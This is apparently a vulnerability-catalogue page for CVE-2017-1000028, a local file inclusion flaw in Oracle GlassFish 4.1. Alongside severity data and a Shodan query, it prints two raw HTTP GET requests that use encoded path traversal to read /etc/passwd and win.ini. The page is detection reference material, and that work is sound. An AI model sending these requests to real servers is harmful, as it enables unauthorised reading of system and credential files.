🔙 목록으로 돌아가기

CVE-2017-1000028: Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion

TitleOracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion
Authorpikpikcu,daffainfo
SeverityHigh
ImpactUnauthenticated attackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete server compromise.
RemediationApply the necessary patches or updates provided by Oracle to fix the LFI vulnerability in GlassFish Server.
CVSS Score7.5
EPSS Score0.94123
CVE IDCVE-2017-1000028
CWE IDCWE-22
Shodan Querycpe:"cpe:2.3:a:oracle:glassfish_server"
Tags cve cve2017 oracle glassfish lfi edb vkev vuln

🔍 Vulnerability Description

Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests.

🌐 HTTP Request

GET /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-1000028.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-1000028.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A